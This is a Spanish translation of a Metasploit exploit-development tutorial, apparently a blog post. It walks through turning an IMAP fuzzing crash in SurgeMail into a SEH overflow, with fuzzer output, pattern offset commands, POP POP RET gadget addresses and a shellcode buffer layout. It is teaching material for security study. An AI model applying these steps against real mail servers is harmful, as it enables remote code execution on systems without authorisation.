Hacer que algo "Explote"
Anteriormente vimos hacer fuzzing en un servidor IMAP en la seccion "Un simple Fuzzer de IMAP". Al final del esfuerzo nos encontramos que podria sobreescribir el EIP, haciendo ESP, el unico registro que apunta a una localizacion de memoria bajo nuestro control (4 bytes despues que la direccion retornara). Podemos seguir adelante y recontruir nuestro buffer (fuzzed = "A"*1004 + "B"*4 + "C"*4) para confirmar que el flujo de la ejecucion es redireccionable a una direccion JMP ESP como un retorno.
msf auxiliary(fuzz_imap) > run
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1012
[*] 0002 LIST () /"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]BBBBCCCC" "PWNED"
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] It seems that host is not responding anymore and this is G00D ;)
[*] Auxiliary module execution completed
msf auxiliary(fuzz_imap) >
Controlando el Flujo de la Ejecucion
Ahora tenemos que determinar el correcto desplazamiento para obtener el codigo ejecutable. Afortunadamente, Metasploit viene al rescate con dos utilidades: pattern_create.rb y pattern_offset.rb Ambos scripts estan localizados en el directorio "tools" de Metasploit. Ejecutando pattern_create.rb, el script generara una cadena compuesta por un unico patron que podemos usar para reemplazar nuestra secuencia de "A"s.
root@bt4:~# /pentest/exploits/framework3/tools/pattern_create.rb 11000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5[...]
Despues de lograr satisfactoriamiente sobreescribir EIP o SEH (o cualquier otro registro que ha sido apuntado), debemos tomar nota del valor contenido en el registro y usar con este valor el pattern_pffset.rb para determinar en que punto de la cadena aleatoria el valor aparece.
En lugar de llamar la linea de comando pattern_create.rb, vamos a llamar directamente a la API desde nuestro fuzzer usando Rex::Text.pattern_create(). Si vemos la fuente, podemos ver como es llamda esta funcion.
def self.pattern_create(length, sets = [ UpperAlpha, LowerAlpha, Numerals ])
buf = ''
idx = 0
offsets = []
sets.length.times { offsets << 0 } until buf.length >= length
begin
buf << converge_sets(sets, 0, offsets, length) rescue RuntimeError break end end # Maximum permutations reached, but we need more data if (buf.length < length) buf = buf * (length / buf.length.to_f).ceil end buf[0,length] end
Asi vemos que llamar a la funcion pattern_create llevara como mucho dos parametros, el tamano del buffer que buscamos crear y como opcional un segundo parametro que nos da cierto control en el contenido del buffer. Para lo que necesitamos, llamaremos a la funcion y reemplazaremos nuestra variable fuzzed con fuzzed = Rex::Text.pattern_create(11000).
Esto hace que SEH sea sobreescrito por 0x684E3368 y basado en el valor que retornara por pattern_offset.rb, podemos determinar que los bytes que sobrescribiran el manejador de excepciones son los siguientes cuatro bytes 10361, 10362, 10363, 10364.
root@bt4:~# /pentest/exploits/framework3/tools/pattern_offset.rb 684E3368 11000 10360
Como esto a menudo sucede en los ataques de desbordamiento de SEH, ahora necesitamos encontrar una direccion POP POP RET (otras secuencias son tambien buenas como sea explicado en "Derrotando el Mecanismo de Prevencion del Desbordamiento de Buffer Basado en la Pila de Microsoft Windows 2003 Server" Litchfield 2003) con el fin de redireccionar el flujo de ejecucion hacia nuestro buffer. Sin embargo, buscando una adecuada direccion de retorno en surgemail.exe, obviamente nos lleva al problema encontrado anteriormente, todas las direcciones tiene un byte nulo.
root@bt4:~# /pentest/exploits/framework3/msfpescan -p surgemail.exe
[surgemail.exe]
0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x00537506 pop esi; pop ebp; ret
0x005ec087 pop ebx; pop ebp; ret
0x00780b25 pop ebp; pop ebx; ret
0x00780c1e pop ebp; pop ebx; ret
0x00784fb8 pop ebx; pop ebp; ret
0x0078506e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret
0x0078517e pop esi; pop ebx; ret
Con suerte esta vez tenemos enfocado un ataque para intentar de cierta forma una parcial sobreescritura, desbordando el SEH con solo 3 significativos bytes en la direccion de retorno. La diferencia es que en este tiempo podemos poner nuestro codigo shell en la primera parte del buffer siguiendo un esquema como el siguiente:
| NOPSLED | SHELLCODE | NEARJMP | SHORTJMP | RET (3 Bytes) |
POP POP RET nos regresara 4 bytes antes del RET donde colocaremos un JMP (SHORTJMP) que nos devolvera 5 bytes. Luego, tendremos un JMP (NEARJMP) cerca del otro JMP (SHORTJMP) que nos llevara al centro de NOPSLED.
Esto no fue posible de hacer con una parcial sobreescritura de EIP o ESP, ya que debido a la pila (stack) el acuerdo era de cuartro bytes antes del RET. Y si hicieramos una sobreescritura parcial en EIP, ESP estariamos en una zona incontrolable.
- Original by www.offensive-security.com
- Traslated by Jhyx
0 comentarios:
Publicar un comentario